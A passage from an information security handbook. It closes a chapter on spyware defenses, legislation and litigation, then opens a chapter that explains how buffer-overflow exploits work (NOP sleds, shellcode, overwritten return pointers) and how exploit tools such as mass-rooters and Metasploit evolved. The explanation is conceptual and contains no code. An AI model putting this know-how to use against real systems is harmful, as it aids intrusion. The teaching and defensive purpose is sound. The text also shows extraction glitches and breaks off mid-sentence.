TABLE 43.3 Approaches to Battling Spyware I. Individual user vigilance II. Organizational initiatives A. Spyware awareness training B. Organizational policies C. Technological spproaches 1. Hosts gile 2. Proxy Automatic Configuration gile 3. Security software a. Anti-spyware software b. Firewalls c. Spyware slockers 4. Utilization of server-based applications 5. Keeping operating system software up to date III. U.S. Government Oversight, Legislation, and Litigation A. Federal Trade Commission oversight 1. FTC Act §5 to regulate “unfair or deceptive acts or practices” 2. FTC endorsement of the use of industry self-regulation B. Federal Legislation introduced during the 108th session of Congress 1. Safeguard Against Privacy Invasions Act (H.R. 2929), http://thomas.loc.gov/cgi-bin/bdquery/ z?d108:h.r.02929: 2. Internet Spyware (I-SPY) Prevention Act of 2004 (H.R. 4661), http://thomas.loc.gov/ cgi-bin/bdquery/z?d108:h.r.04661: 3. Software Principles Yielding Better Levels of Consumer Knowledge (SPYBLOCK) Act (S. 2145), http://thomas.loc.gov/cgi-bin/bdquery/z?d108:s.02145: 4. Piracy Deterrence and Education Act of 2004 (H.R. 4077), Piracy Deterrence and Education Act of 2004 (H.R. 4077), http://thomas.loc.gov/cgi-bin/bdquery/z?d108:HR04077: @@@L&summ2=m& C. State Legislation 1. Utah Spyware Control Act 2. California Computer Spyware Act D. Federal Litigation 1. Federal Trade Commission, Plaintiff, v Seismic Entertainment Productions, Inc., SmartBot.net, Inc., and Sanford Wallace 2. Claria Corporation (formerly Gator) multidistrict litigation case 3. WhenU.com’s multiple cases
or press Alt and F4. Another safeguard is to check for disclosures about downloads by searching for the name of the software followed by “spyware” using a search engine. Do not install software without knowing exactly what it is. Users can take additional actions to reduce the potential for spyware. Avoid peer-to-peer networks, which offer downloads containing spyware because of revenues generated from advertising with which it is packaged, and visit only known Web sites to minimize drive-by downloads. Remember that Web links on Web sites, within pop-up windows, or in e-mails can be masked to look like legitimate links. Do not use instant messengers or shopping or search helpers. Software for purchase, such as videogames, may also contain spyware to capture user behavior to support ad placement and pricing within the software. Run a virus check on unfamiliar files. Update operating system and Web browser software to obtain patches to close holes in the system that spyware could exploit. Set the browser security setting to Medium or High to detect download attempts. Turn off the PC when not in use.
Organizational Initiatives Organizations cannot rely on individual user vigilence as a defense against spyware. Organizations should thoroughly educate users about the types and risks of spyware through spyware awareness training and create user policies that minimize the occurrence of spyware corruption. More importantly, organizations should pursue technological approaches to reduce spyware. Additionally, the Windows Hosts file or the
532
Information Security Management Handbook
Proxy Automatic Configuration (PAC) file in the browser can be used to block access to Web sites known for spyware. Employee Education and Organizational Policies Employees need to understand that their downloading and Web-surfing habits can lead to an increased amount of spyware infestation. PC and Internet use policies should explicitly forbid visitation of Web sites known for placing spyware, such as those promoting pirated software, gambling, and pornography. Employees should be encouraged to report unwitting or accidental visits resulting from typos or clicking on the wrong links, for example, with an assurance that they will not be reprimanded for such mistakes. Additionally, organizational policy should prohibit peer-to-peer file sharing and downloading freeware or shareware. Further, PC use by anyone other than the employee, such as family members and other unauthorized users, should be disallowed. Finally, organizations should consider requiring the use of alternative Internet browsers and instruct users on appropriate browser settings. Alternatives to Microsoft’s Internet Explorer (IE), the standard Internet browser, are currently more secure due, in part, to the fact that these alternate browsers are smaller targets for malware authors. Alternatives such as Mozilla’s Firefox are competent browsers that are free to users. Technological Approaches Technological approaches directed toward eradicating spyware include setting operating system and browser features to block Web sites and installing security software. Additionally, organizations are encouraged to utilize server-based applications, as they are less susceptible to attack, and to keep operating system software up-to-date. Hosts File and Proxy Automatic Configuration File The Hosts file within operating systems such as Windows, Linux, or UNIX, and the Proxy Automatic Configuration (PAC) file within browsers such as IE, Firefox, and Netscape Navigator, are two alternatives available to IP network administrators. To use either of these approaches, a list of Web sites, or even Web pages, to not visit must be created. The Hosts file or the PAC file is then edited to include the list, thereby blocking access to Web sites known for spyware. The Windows Hosts file, for example, is found under c:\windows\system32\drivers\etc and has no extension. This text file is used to associate host names with IP addresses. Any network program on the organization’s system consults this file to determine the IP address that corresponds to a host name. When a Web address, called a domain name, is typed into a browser, the browser first checks the Hosts file. The central Domain Name System (DNS) server is then contacted to look up the numeric equivalent of the Web address, the IP address, necessary to locate the Web site to be displayed. If the Hosts file contains an IP address for the domain name to be visited, the browser never contacts the DNS to find the number. The Hosts file can be edited in Notepad to enter or update a list of known spyware sites and redirect them to 127.0.0.1 (which is the IP address the computer uses to refer to itself, the local host). This will effectively block any requests made to undesirable sites because the domain name of such Web sites will point to the local host. Hosts files can only block entire Web sites, while PAC files can block addresses of individual Web pages within a site. The user is thus afforded greater control over what is blocked. A Web site with desirable content may also serve ads via individual Web pages, which can selectively be blocked. The PAC file is written in JavaScript, introduced with Netscape Navigator 2.0 in 1996 (LoVerso, 2004). The browser evaluates a JavaScript function for every URL (i.e., Web page) to be displayed. Like the Hosts file, the JavaScript function in the PAC file blocks access by redirecting the requested Web page to the local host. Security Software Security software solutions include anti-spyware software, firewalls, and spyware blockers. A recent, concentrated effort on the part of software makers is bringing a proliferation of anti-spyware initiatives for the corporate world to market. The market for anti-spyware software is still small, with $10 to $15 million in sales, compared to the $2.2 billion anti-virus software industry. Effective anti-spyware software should identify the spyware threat, as well as provide an informative explanation of the nature and severity
The Ethical and Legal Concerns of Spyware
533
of the detected threat, and allow the user to decide what to remove. To date, no anti-spyware utility can provide an impenetrable defense. Attracted to the potential to generate advertising revenue, professional programmers continue to refine spyware to make it difficult to identify and remove. Therefore, at least two anti-spyware tools should be used, as the first may not detect something that another tool does. Further, every network or PC that accesses the Internet should have its own firewall to block unauthorized access and provide an alert if spyware, sending out information, is already resident. Defensive spyware blocker software can also detect and stop spyware before it is installed. Anti-spyware software vendors face many gray areas as they attempt to eradicate adware and potentially unwanted programs (PUPs). For example, McAfee’s VirusScan 8.0 will detect PUPs on a computer, including adware programs, but will only delete them if the PUP is in direct opposition to the terms stated and agreed to in its EULA. If the user had given consent to download the adware, when all functions of the software were accurately represented, eradication of the program by McAfee becomes more difficult. PestPatrol Corporate Edition, owned by Computer Associates, has a central management console that lets administrators scan desktops for spyware, quarantine infected systems, and cleanse them. Zone Labs, Symantec, and Cisco plan to release anti-spyware programs for enterprise systems. By the end of 2005, firewall, anti-virus protection, and behavior-based protection will be available in one integrated software package.
Government Oversight and Legislation The U.S. government has recently begun to investigate the effects and legitimacy of spyware, with the FTC leading the charge. While legislation has been proposed at the federal level in the Senate and House of Representatives, some states have already imposed regulations. Spyware has not yet caused widespread public outcry because most users are unaware that their systems have been compromised. Federal Trade Commission Oversight The FTC has stated that “spyware appears to be a new and rapidly growing practice that poses a risk of serious harm to the consumers.” Furthermore, the FTC feels that government response “will be focused and effective” (FTC, 2004c). The FTC currently has legal authority to take action, both civilly and criminally, against spyware installers. Civil action would be brought under the Federal Trade Commission Act §5 to regulate “unfair or deceptive acts or practices.” Criminal action would be brought under the Computer Fraud and Abuse Act to provide remedies against whoever “knowingly and with intent to defraud, accesses a protected computer without authorization, or exceeds authorized access, and by means of such conduct furthers the intended fraud and obtains anything of value.” The FTC conceded that if the spyware infiltration continues, there could be “loss in consumer confidence in the Internet as a medium of communication and commerce” (FTC, 2004c). The FTC is endorsing the use of self-regulatory measures, as opposed to the introduction of regulating legislation, through a series of workshops and hearings. Industry and consumer and privacy advocates have met to address the online privacy and security issues of spyware and to encourage and facilitate industry leaders to develop and implement effective self-regulatory programs. Additionally, a variety of education and civil enforcement initiatives have been undertaken to reduce the negative effects of personal information disclosure, such as identity theft, violations of privacy promises, and breaches of customer databases. In response, companies whose spyware is installed with free software have improved methods for disclosure and removal. According to Urbach and Kibel (2004), most reputable and responsible technology providers feel that adherence to the following five principles is crucial for all adware providers and those who take advantage of their services: 1. Clear and prominent notification must be presented to the user prior to downloads or data collection. Additionally, the EULA should contains such notification. 2. The user has the opportunity to accept the terms of the application for both access to the user’s PC and to any communications between a user’s PC and the Internet.
534
Information Security Management Handbook
3. Easy removal procedures to uninstall any unwanted applications should be provided. 4. Branding of pop-up windows should be clear so there is no confusion regarding the source of the ad. 5. Internet businesses should adhere to all applicable laws and best business practices. U.S. Federal Legislation Introduced during the 108th Session of Congress The U.S. Congress has begun to study and debate various initiatives to address concerns associated with spyware. At the time of writing, a number of legislative proposals were pending in Congress. Each is discussed below and presented in Table 43.3 (see III.B). The Safeguard Against Privacy Invasions Act (H.R. 2929) was introduced in the U.S. House of Representatives on July 23, 2003. The bill directs the FTC to prohibit the transmission of spyware to a computer system used by a financial institution or the federal government by means of the Internet. The bill requires conspicuous notification of the installation of spyware. Furthermore, it requires the FTC to establish requirements for the transmission of an application through affirmative action on the part of the user. Also, the spyware installer would need to disclose valid identification. Violators could be fined up to $3 million. On October 5, 2004, the House voted to pass the bill and referred it to the U.S. Senate. The Internet Spyware (I-SPY) Prevention Act of 2004 (H.R. 4661) was introduced in the House on June 23, 2004. This bill amends the federal criminal code to prohibit intentionally accessing a protected computer without authorization to install spyware to transmit personal information with the intent to defraud or injure an individual or cause damage to a protected computer. Penalties of up to five years in prison for certain crimes committed with spyware are included. In addition, $10 million would be provided annually to the Justice Department for enforcement. The House voted to pass this bill on October 7, 2004, and referred it to the Senate. The Software Principles Yielding Better Levels of Consumer Knowledge (SPYBLOCK) Act (S. 2145) was introduced in the Senate on February 27, 2004. This bill addresses the use of spyware on computers systems used in interstate or foreign commerce and communication. It makes the installation of spyware unlawful unless the user has received notice and granted consent and there are software uninstall procedures that meet requirements set forth. The notice to the user must be clearly displayed on the screen until the user either agrees or denies consent to install and a separate disclosure concerning information collection, advertising, distributed computing, and settings modifications must be featured. Interestingly, the bill does not attempt to define spyware. Instead, the bill applies to “any computer program at all that does not comply with its notice, choice, and uninstall requirements” while making exceptions for technologies such as cookies, preinstalled software, e-mail, and instant messaging (Urbach and Kibel, 2004). At the time of writing, the bill was pending in the Senate. The Piracy Deterrence and Education Act of 2004 (H.R. 4077), introduced in the House on March 31, 2004, touts the dangerous activity on publicly accessible peer-to-peer file-sharing services. It stresses that appropriate measures to protect consumers should be considered. Similarly, the FTC has already warned the public not to use file-sharing programs, due to the inherent risks associated with such activity. This bill was passed by the House on September 29, 2004, and referred to the Senate. State Legislation On March 23, 2004, the governor of Utah signed the nation’s first anti-spyware legislation. The Spyware Control Act prohibits the installation of software without the user’s consent, including programs that send personal information. Under this law, only businesses are given the right to sue. This has resulted in the view that the Utah law was drafted to protect businesses and not the privacy of individual consumers. Spyware is indeed a major concern for businesses. If customer information is stolen from a firm’s system, that firm may be liable under data protection regulations; however, legislation has yet to be enforced. At the time of writing, litigation from the adware firm WhenU.com has resulted in a preliminary injunction against it. In California, the governor signed into law the SB 1436 Consumer Protection Against Computer Spyware Act on September 28, 2004. Effective January 1, 2005, this law prohibits the installation of software that deceptively modifies settings, including a user’s homepage, default search page, or bookmarks, unless
The Ethical and Legal Concerns of Spyware
535
notice is given. Further, it prohibits intentionally deceptive means of collecting personally identifiable information through keystroke-logging, tracking Web surfing, or extracting information from a user’s hard drive. A consumer can seek damages of $1000, plus attorney fees, per violation. At the time of writing, Iowa, New York, and Virginia were considering anti-spyware measures. Possible Roadblocks to Legislation Passage of legislation has been slow because broad legislation could prohibit legitimate practices and stifle innovation. Protecting consumers’ concerns must be carefully balanced against the beneficial use of spyware as a legitimate marketing tool. Interactively capturing behavioral measures provides marketers with greater insight and precision, compared to traditional media, to improve product offerings and target advertisements to receptive consumers. Furthermore, definitions may be ineffective upon becoming law because innovation occurs so quickly, while the passage of legislation is a slower process. The Direct Marketing Association has compared the efforts to regulate spyware to those of spam, in that in the absence of effective enforcement, the legislation itself is toothless and may cause harm to legitimate businesses.
Federal Litigation In the first spyware case brought by the FTC, Federal Trade Commission, Plaintiff, v Seismic Entertainment Productions, Inc., SmartBot.net, Inc., and Sanford Wallace, on October 12, 2004, the defendants were charged with unfair acts and practices in violation of Section 5(a) of the FTC Act, 15 U.S.C. §45(a), which outlaws “unfair or deceptive acts or practices in or affecting commerce.” The FTC alleges that these defendants engaged in an unfair and deceptive practice by downloading spyware onto the computers of consumers without advance notice or permission. This spyware hijacked consumers’ homepages and search engines, presented a torrent of pop-up ads, and installed adware and other software programs to capture consumers’ Web-surfing behavior. Further, the spyware may cause computers to malfunction, slow down, or even crash. As a result, consumers were compelled to either purchase the $30 anti-spyware software sold by the defendants, for which they received a commission, or spend substantial time and money to fix their computers. At the time of writing, the FTC asked a U.S. District Court to issue an order preventing the defendants from installing spyware and foregoing their proceeds. Leaving unresolved the question of the legality of pop-up adware, a series of legal cases have been settled out of court by Claria Corporation, formerly known as Gator. As many as 13 cases were consolidated into one multidistrict case. A lawsuit brought by retail florist Teleflora, filed in April 2004, is still pending. Claria was sued for copyright and trademark violations by Hertz, L.L. Bean, Quicken Loans, Six Continents, Tiger Direct, UPS, The Washington Post, Wells Fargo, and others for presenting competing ads to appear atop or under the plaintiff ’s sites. Claria’s advertisements are included with free downloads from peer-to-peer applications such as KaZaa. Once downloaded, pop-up and pop-under ads appear when users surf or visit specific sites. The terms of the settlements were not disclosed. The legality of pop-up adware could still be determined through lawsuits. WhenU.com, a competitor of Claria, has also been sued by numerous corporations, including 1-800-Contacts, Quicken Loans, UHaul, and Wells Fargo. Unlike Claria, WhenU.com was not able to consolidate its cases. In September of 2003, a federal court in Virginia granted WhenU.com’s motion for summary judgment against U-Haul, the plaintiff. The court stated that WhenU.com did not commit copyright infringement nor did they infringe on the trademarks of U-Haul. Moreover, the pop-up advertisements, although annoying, were permissible because end users consented to installation in the EULA. U-Haul has appealed the ruling. In November of 2003, a federal court in Michigan denied a motion for summary judgment by the plaintiff Wells Fargo, concurring with the reasoning in the U-Haul ruling. Conversely, in December 2003, a New York federal court granted 1-800-Contacts’ motion for a preliminary injunction to prevent WhenU.com from serving ads until resolution. The court also found there was trademark infringement. The court maintained that WhenU.com deceptively used the trademark of the plaintiff to trigger a WhenU.com application to serve an ad. WhenU.com is appealing this ruling.
536
Information Security Management Handbook
Conclusion The ethical and legal concerns associated with spyware call for a response. The form of that response will ultimately be determined by users, organizations, and government action through their assessment of the ease and effectiveness of the various approaches to battling spyware. Do the various software tools currently available satisfy users by allowing them to enjoy the use of their own computing resources, while affording protection against concerns raised? Will industry self-regulation be effective? Will user protests ultimately be so strong as to lead to legal legislation? While the concerns associated with the presence of spyware are clear, legislating spyware is difficult because the definition of spyware is vague. Some spyware installers have contended they have been unfairly targeted. A balance must be found between the legitimate interests of spyware installers, who have obtained the informed consent of users who accept advertisements or other marketing devices in exchange for free software, and users who are unwitting targets. Currently, there is no widespread awareness or understanding on the part of users as to the existence of spyware, its effects, and what remedies are available to defend against its installation or removal. As the prevalence of spyware continues to increase, the views of users regarding the acceptability of spyware will ultimately drive the resolution of concerns.
References Baker, T. 2003. Here’s looking at you, kid: how to avoid spyware, Smart Computing 14(9):68–70. Bloustein, E. 1964. Privacy as an aspect of human dignity: an answer to Dean Prosser. NYU Law Rev. 39:962–1007. FTC. 2004a. Prepared statement of the Federal Trade Commission before the Committee on Energy and Commerce, Subcommittee on Commerce, Trade, and Consumer Protection, U.S. House of Representatives, Washington, D.C., April 29, 2004 (http://www.ftc.gov/os/2004/04/040429spyware testimony.htm). FTC. 2004b. Conference: Monitoring Software on Your PC: Spyware, Adware, and Other Software, April 19, 2004 (www.ftc.gov/bcp/workshops/ spyware/index.htm). FTC. 2004c. Spyware Poses a Risk to Consumers, April 29, 2004 (http:www.ftc.gov/opa/2004/04/spywaretest.htm). Federal Trade Commission, Plaintiff, v Seismic Entertainment Productions, Inc., SmartBot.net, Inc., and Sanford Wallace, Defendants, U.S. District Court, District of New Hampshire, FTC File No. 0423125 (www.ftc.gov/os/caselist/0423142/ 0423142.htm). Gomes, L. 2004. Spyware is easy to get, difficult to remove, increasingly malicious. The Wall Street Journal, July 12, p. B1. Liston, T. 2004. Handler’s Diary July 23, 2004, SANS (http://isc.sans.org/diary.php?date=2004-0723&isc=00ee9070d060393ec1a20ebfef2b48b7). LoVerso, J.R. 2004. Bust Banner Ads with Proxy Auto Configuration (www.schooner.com/~ loverso/noads). Richmond, R. 2004. Network associates to attack spyware with new products. The Wall Street Journal, January 22, p. B5. Stead, B.A. and J. Gilbert. 2001. Ethical issues in electronic commerce. J. Business Ethics November: 75–85. Urbach, R.R. and G.A. Kibel. 2004. Adware/spyware: an update regarding pending litigation and legislation, Intellectual Property Technol. Law J. 16(7):12 f. Warren, S.D. and L.D. Brandeis. 1890. The right of privacy. Harvard Law Rev. December: 193–220.
44 The Evolution of the Sploit Ed Skoudis Computer attackers use exploit code, little snippets of software, to compromise systems. These exploits, known informally as sploits, allow an attacker to undermine a vulnerable program by launching them at a target machine. Inside of a vulnerable program, a sploit can give the attacker complete control of the target machine. The world of sploits has recently experienced major developments and software releases that have really honed the attackers’ game. In this chapter, we will analyze some of the building blocks underlying these evolutionary changes so we can better understand the magnitude of the threat. To begin, we need to better define exploits. What are they? Let us begin by saying what they are not. Many people think that vulnerability scanners are exploit tools. They are not. Although the two are related, vulnerability scanners craft packets to measure whether a target system is vulnerable to an attack. Vulnerability scanners, such as Nessus or ISS Internet Scanner, have a database of known vulnerabilities and check to see if these flaws are present on the target by looking for old version numbers and analyzing system behavior. A relatively small number of the tests performed by vulnerability scanners will go further by crafting a bit of benign code to take advantage of the vulnerability and then checking for evidence that the benign code worked. Such tests are approaching exploits, but they do not give the bad guy access to or control over the target machine like sploits do. For a typical vulnerability scanner, approximately only one in ten of the tests actually sends the benign code to execute on the target, taking advantage of a flaw to measure whether a system is vulnerable. Because most of their efforts are focused on measuring whether a vulnerability is present, vulnerability scanners are typically useful as audit tools but not for gaining access. An attacker can use a vulnerability scanner as a prelude to gaining access, using it to measure what is vulnerable to help choose the appropriate exploit to utilize. Still, the scanner does not exploit the target. What, then, is an exploit? Many vulnerability announcements from vendors ominously say that the vulnerability allows the attacker to “execute arbitrary code.” Exploits are the programs that the attacker uses to tickle the vulnerability, inject code of the attacker’s choosing (the “arbitrary” part) into the victim machine, run the attacker’s code, and thereby get access to the target machine. The access given by an exploit typically involves invoking a command shell in the memory of the target machine, which is why the code inside the exploit is often referred to as shell code. The attacker’s command shell runs with the permissions of the vulnerable program. Thus, if a target program is running with system or root privileges, the attacker can have complete control over a target machine using a suitable exploit against that program. Some exploits run locally, and others run across the network. This chapter will focus on the latter (network exploits) because that is where many of the attackers have been focusing over the past several years and where we have seen the most interesting tool development.
537
538
Information Security Management Handbook
Types of Sploits Before we discuss the evolution of exploit code, we must look at the different types of exploits available today and analyze how they operate. Anyone who reads information security headlines knows that many types of vulnerabilities are discovered on a regular basis. Many of these vulnerabilities deal with improper memory management techniques by software developers. Buffer overflow vulnerabilities, an example of improperly dealing with moving information around in memory, are very common, and new holes are discovered on an almost daily basis. Buffer overflow flaws involve not checking the size of user input before moving it into a memory location. The user input overflows the memory allocated for a variable, changing not only that variable but also other nearby elements in memory. Buffer overflow vulnerabilities can plague variables stored in several different memory regions of running processes. Many buffer overflows are stack based; that is, they overflow memory locations on the stack, which is a data structure used to store information associated with function calls, such as function call arguments or local variables of functions. Other buffer overflows target the heap, an area of memory that is allocated dynamically by programs using functions such as malloc (short for “memory allocation”) in C and C++. Another memory area that can be altered via buffer overflow is the BSS (block started by symbol), which holds global variables and static variables used within a process. In addition to buffer overflows, attackers can take advantage of other vulnerabilities resulting from sloppy coding that lets them alter nearby memory locations. Format string attacks are another example; they are based on the improper use of the printf family of C library functions (including printf, sprintf, snprintf, and fprintf). Other examples include integer overflows, which take advantage of an integer wrapping beyond the maximum value allowed for a signed integer, resulting in a negative number or a small positive number. Another category, off-by-one flaws, takes advantage of sloppy code where a developer inadvertently increments through a variable using the wrong size of that variable, typically one byte more or one byte less than the proper size. Of all of these vulnerability types, the most popular of all is the stack-based buffer overflow. By dissecting one example, we will have the base knowledge necessary to see how these beasts have evolved over time. For a quick refresher on stack-based buffer overflows, consider the normal stack and the smashed stack displayed in Figure 44.1. In general, when a program calls a function, the function call arguments and a return address pointer are stored on the stack. The return pointer contains the address in the program to return to when the function call has completed execution. This return pointer is crucial, as it controls the flow of program execution after the function call finishes running. In other words, the return pointer is how the program remembers where to go back to when the function is done. After
Buffer space is overwitten with instructions Saved frame pointer is clobbered Return pointer is overwritten to point back into the stack to run the attackerʼs code
Machine Language Code: exec a shell!
Clobbered Frame Pointer Return Pointer Function Call Arguments
Smashed Stack
FIGURE 44.1 The original stack and the smashed stack of a stack-based buffer overflow attack.
Stack Growth Direction
The Evolution of the Sploit
539
pushing the function call arguments and return pointer on the stack, the system pushes a frame pointer on the stack to indicate the top of the stack before the function call started. The system then allocates space for any local variables (i.e., buffers) for the called function. When programs do not check and limit the amount of data copied into the assigned space of a variable, that space can be overflowed. A developer who does not include logic to check the size of user input before moving it around in memory could allow a bad guy to provide input that not only completely fills a buffer on the stack but also keeps going. When that buffer is overflowed, the data placed in the buffer will flow into the spaces of neighboring variables, clobber the frame pointer, and eventually even alter the return pointer itself. Attackers take advantage of this stack layout by precisely tuning the amount and contents of user input data placed into an overflowable buffer. The data that the attacker sends usually consists of machine-specific bytecode (low-level machine language instructions) to execute a command, plus a new address for the return pointer. In a stack-based buffer overflow, this address points back into the address space of the stack, causing the program to run the attacker’s instructions when it attempts to return from the function call. So, the attacker’s exploit package typically consists of some machine language code to execute a command of the attacker’s choosing (often a shell), plus a return pointer to make that code run. These elements are included in the user input shot across the network at the target vulnerable process as user input. Because the stack is typically a very dynamic place, with functions being called and returned on a continual basis, the attacker typically does not know the exact value to provide for the return pointer in the user input. To help improve the odds that the return pointer’s value will actually hit the code the attacker places in the variable stored on the stack, attackers often prepend a series of no-operation (NOP) or null commands in front of the machine language code they want to run. Most processors have a NOP instruction that tells the processor to do, well, nothing. Just burn this clock cycle and jump to the next instruction. With a long series of NOPs prepended to the machine language code of the exploit, as long as the return pointer hits the NOPs, execution will slide down the NOPs until the attacker’s desired code is executed. For this reason, the prepended NOPs are referred to as a NOP sled or slide. The value of a NOP sled can be appreciated by considering a dart game, where the object is to hit the bull’s eye. Setting the return pointer is something like throwing a dart. If the attacker guesses the proper location of the start of the machine language code on the stack, that code will run and he has hit the bull’s eye; otherwise, the program will crash, something akin to the dartboard exploding. A NOP sled is like a cone placed around the bull’s eye on the dartboard. As long as the dart hits the cone (the NOP sled), the dart will slide gently into the bull’s eye, and the player wins! So, the fundamental building blocks of many exploits, including stack-based, heap-based, and BSSbased buffer overflows, as well as many format string attacks and other exploits, include the following elements: • NOP sled — This is used to help improve the odds that the return pointer will hit valid code. • Code to invoke some system call on the target machine — This code must be written in machine language for a given processor type (e.g., x86, PowerPC, SPARC) and tailored for a given type of operating system (e.g., Windows, Linux, Solaris). Typically, some system call that is associated with executing a program (such as the Linux execve system call used to invoke a given program of the attacker’s choosing) will be activated. • Code for invoking a shell to run on the target (typically) — Attackers usually invoke a shell (such as the UNIX or Linux /bin/sh or Windows cmd.exe) on the target. Shells are nice, because attackers can feed them commands to execute. • Instructions for that shell to execute (typically) — This is the command the attacker wants to run on the victim. It could involve installing a back door or attaching a shell to an active Transmission Control Protocol (TCP) connection or a variety of other items. • A return pointer, to trigger the whole package — This pointer aims execution flow back into the memory location to get the exploit to run. This return pointer is set using some exploit, such as a buffer overflow that overwrites a return pointer on the stack or a format string exploit that lets the attacker change values on the stack.
540
Information Security Management Handbook
Machine code (typically, execve a shell)
Payload
NOP NOP NOP NOP NOP NOP NOP
(Typically) Command for shell to run
New return pointer to exec code
Exploit overwrites this pointer
Clobbered frame pointer
FIGURE 44.2 The exploit package contents, including the payload.
The NOP sled, machine code, and command are collectively referred to as the payload. Code that overwrites the return pointer is the exploit. Sometimes, people refer to the payload and exploit together as simply the exploit. The entire package is shown in Figure 44.2.
Evolutionary Progress Now that we have seen the essential components of the exploit package, let us focus on developments over the past several years in the creation and packaging of this structure for an exploit. Figure 44.3 depicts some of the major milestones in the creation of modern exploit code that we will discuss throughout the remainder of this chapter. As you can see, the flexibility and functionality of these tools are increasing dramatically over time. But before we get ahead of ourselves, let’s review these crucial milestones to establish an overall context. Some of the biggest events in the evolution of the sploit over the past decade have been: • Late 1996. A white paper by Aleph1, Smashing the Stack for Fun and Profit, described how stackbased buffer overflows worked. His concepts brought the previously esoteric ideas underlying buffer overflows into the mainstream and resulted in the development and release of numerous exploits that are continuing to this very day. • 2000. The TESO (in elite-speak, “7350”) wu-ftpd auto-rooter exploit code was some of the most well-written code at the time; it included several major features in a nice package. • 2001. A white paper on UNIX exploit payloads, The Last Stage of Delirium, described a dozen different exploit functions and included code to execute them on a half-dozen different UNIX variations, including Linux, Solaris, and HP-UX, among others.
541
The Evolution of the Sploit
• 2002. The syscall proxy concept, originally publicized by Maximiliano Cáceres from the vendor Core Security Technologies, is extremely innovative because it allows attackers to maximize the flexibility of their exploits while keeping them small and efficient. The concept is included in some commercial products, such as Core IMPACT and Immunity CANVAS. • Late 2003. Metasploit 1.0, by H. D. Moore and spoonm, revolutionized the packaging of exploits and greatly increased their flexibility. The original release, however, was quite limited, acting as more of an example and toolbox than a full-fledged exploit tool. • 2004. Metasploit 2.0 fulfilled the promise of the original Metasploit, with two dozen different exploits and dozens of payloads for a variety of target system types. With these capabilities, it is widely used by the bad guys as a general-purpose exploit tool and the good guys for penetration testing. It also holds great promise as a development environment kit for creators of new exploits. • January 2005. Metasploit 2.3 drives Metasploit forward even more and includes several new, useful capabilities, including a very flexible command shell (the meterpreter) and vulnerability discovery tools, which we will discuss later. This tool just keeps getting better, with each major release a huge leap forward. With these major milestones under out belts, let us zoom in on various evolutionary steps that led to the milestones of Figure 44.3. In particular, exploits over the past ten years have evolved through the following phases: 1. 2. 3. 4. 5. 6.
I have numbered these major steps in the evolutionary trends, and each section of the remainder of this chapter includes this number to help illustrate the transition and increase in flexibility of each phase.
Step 1. Rooter A rooter is a piece of exploit code that gives the attacker a command shell on a target box, typically running with root privileges on UNIX or administrator or system privileges on Windows. We saw such code really take off in 1996 with the publication of Aleph1’s Smashing the Stack for Fun and Profit white
Flexibility and Functionality
Metasploit 2.3 Metasploit 2.0 Metasploit 1.0 Smashing the Stack for Fun and Profit
7350 Wuftpd Autorooter
LSD Unix Payload Paper Core IMPACTʼs Syscall Proxy Concept
1996
1997
1998
1999
2000
2001
Time
FIGURE 44.3 Milestones in exploit evolution.
2002
2003
2004
2005
2006
542
Information Security Management Handbook
paper; however, such code is still regularly released even today, with several new single-purpose exploits released each week. The structure of a rooter is a fixed package: a program that generates fixed shell code with a fixed payload, launching it at a single target chosen by the attacker. This class includes hundreds of different exploits. A quick trip to www.packetstormsecurity.org or www.frsirt.com will show the reader a bunch of them. They often have names that include the word “exploit” and end in “.c” because most are written in the C programming language. Although these exploits are numerous and highly useful for the bad guys, they do have some major limitations. They typically work against a single target type. So, for example, it is possible to have an exploit for a buffer overflow in sshd that works against Linux. Then, a different exploit might work against sshd on Solaris. Then, still another one might work on another operating system, and so on. Furthermore, these rooters have a hard-coded payload of functionality to execute on the target, typically a simple command shell. This is one of the most useful capabilities to have, but it has little flexibility. Finally, these rooters tend to be throw-away code. When everyone has applied the patch, the exploit is not that useful anymore, unless someone finds a very old, unpatched system.
Step 2. Auto-Rooter Auto-rooters expand upon the idea of the simple rooters by including a scanning engine in the package. We have seen such tools rise in use from 1999 to today, often bundled inside of a worm. The attacker takes a simple rooter, with its fixed payload (usually a command shell), and wraps around code to check to see if an attacker-chosen range of targets is vulnerable. The auto-rooter works on target systems of a single type, such as a single operating system or even a single service pack or patch level of the target. Examples of this type of exploit include the CodeRed worm from 2001 and the Sasser worm of 2004. Because they automatically find vulnerable systems in the target range on the attacker’s behalf, the autorooter is more flexible than the simple rooter; however, auto-rooters share many of the limitations of the rooters — namely, they hit only one type of target machine, and their payload is still fixed to the functionality hard coded in the auto-rooter itself, typically a command shell.
Step 3. Mass-Rooter Next, we move to mass-rooters, which are tools that lift one of the major limitations we have seen so far: working against a single target type. Mass-rooters include scanners, as we saw before, but the scanner is smarter; it can look for multiple target types, such as different operating systems or different service packs. When the mass-rooter scanner finds a vulnerable machine from its list of known possible target types, it invokes the appropriate exploit to break into that machine. The tool then launches its fixed payload (again usually a command shell) against the discovered target. One of the finest examples of mass-rooter code is the TESO (or “7350”) wu-ftpd exploit from June 2000. This tool included a variety of nifty capabilities, including: • • • •
A scanner to look for vulnerable systems Command shell payloads that run on various versions of both Linux and FreeBSD Intelligence to launch the appropriate payload against the appropriate target A nifty bind-to-existing-socket capability that allows the exploit to spawn a command shell for the attacker over the existing File Transfer Protocol (FTP)-control connection
With regard to this last item, no separate network connection is required, as the existing incoming FTP socket is used. That is very helpful to the attacker, because the bad guy can ride in on a connection that is allowed through the firewall to get to the FTP server in the first place. But, all is not well with the mass-rooter. We still have some major limitations. In particular, most of the mass-rooter code is still throw away, as it is for its cousins the rooter and auto-rooter. The scanning engine could be repurposed by recoding it to find other vulnerabilities, but the majority of what makes a mass-rooter useful disappears when someone has patched the vulnerability. Another major limitation with all of the exploit code types we have seen so far is their fixed payloads. They can do only one possible
The Evolution of the Sploit
543
